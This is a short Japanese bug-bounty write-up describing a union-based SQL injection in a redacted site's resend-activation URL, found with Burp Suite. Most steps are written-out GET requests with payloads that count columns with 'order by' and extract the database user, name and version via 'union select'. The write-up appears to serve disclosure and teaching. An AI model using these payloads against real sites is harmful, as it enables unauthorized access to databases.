Hello there, ('ω')ノ
SQLインジェクションのバグで$$$を簡単に入手した方法を。
脆弱性:
SQLインジェクション
記事:
https://rafipiun.medium.com/how-i-got-easy-for-sql-injection-bug-7ff622236e4c
ツール:
Burp Suite
今回のターゲットをRedacted.comと呼ぶことに。
コンセプトの証明 :
1.新しいアカウントにサインアップして。
2.指示に従って進むと、下記のページを手に入れて。
3.下記のURLを取得できて。
https://redacted.com/user/activation/xxx/1325589
1325589は、自分のユーザIDで。
ウェブサイトにSQLインジェクションがあるかどうかを試すために。
一重引用符( ‘)を上記のURLに追加したものの、見当たらず。
4.しかし、ページが再び表示される場合は。
ページに「アクティベーションリンクを再送信」ボタンがあるので。
インターセプトをオンにしてボタンをクリックして。
5.下記のようなリクエストとレスポンスを受け取って。
応答は、自分にリダイレクトされていて。
Location: https://redacted.com/user/resendactivation/xxx/1325589/?smsg=green
6.なので、一重引用符を追加してリクエストを変更することに。
GET /resend/activation/1325589'
すると、自分にリダイレクトされて。
Location: https://redacted.com/signup_page/xxx
7.次にリクエストに『--+-』を追加してみると。
GET /resend/activation/1325589'--+-
応答は先ほどのデフォルトの要求に変換されるので、SQL Inejctionを確認できて。
Location: https://redacted.com/user/resendactivation/xxx/1325589/?smsg=green
8.次に「order by 5」を追加してみると。
応答がFalse状態に変わるので、列は5個なくて。
GET /resend/activation/1325589'order+by+5--+-
9.「order by 4」を試しても失敗して。
10.「order by 3」でリダイレクトして成功したので、列は3個で。
11.なので、下記の「union select」を試すことに。
GET /resend/activation/1325589'union+select+1,2,3--+-
リダイレクトされた応答を確認すると『3』を得ることができて。
Location: https://www.redacted.com/user/resendactivation/xxx/3/?smsg=green
12.今度は、3番目にSQLクエリを挿入してみるとユーザを取得できて。
GET /resend/activation/1325589'union+select+1,2,user()--+-
リダイレクトされた応答は下記のとおりで。
Location: https://www.redacted.com/user/resendactivation/xxx/XXXdmin@XXX/?smsg=green
13.最後にデータベース名とバージョンを取得してみることに。
GET /resend/activation/1325589'union+select+1,2,concat(user(),0x3a,database(),0x3a,version())--+-
Best regards, (^^ゞ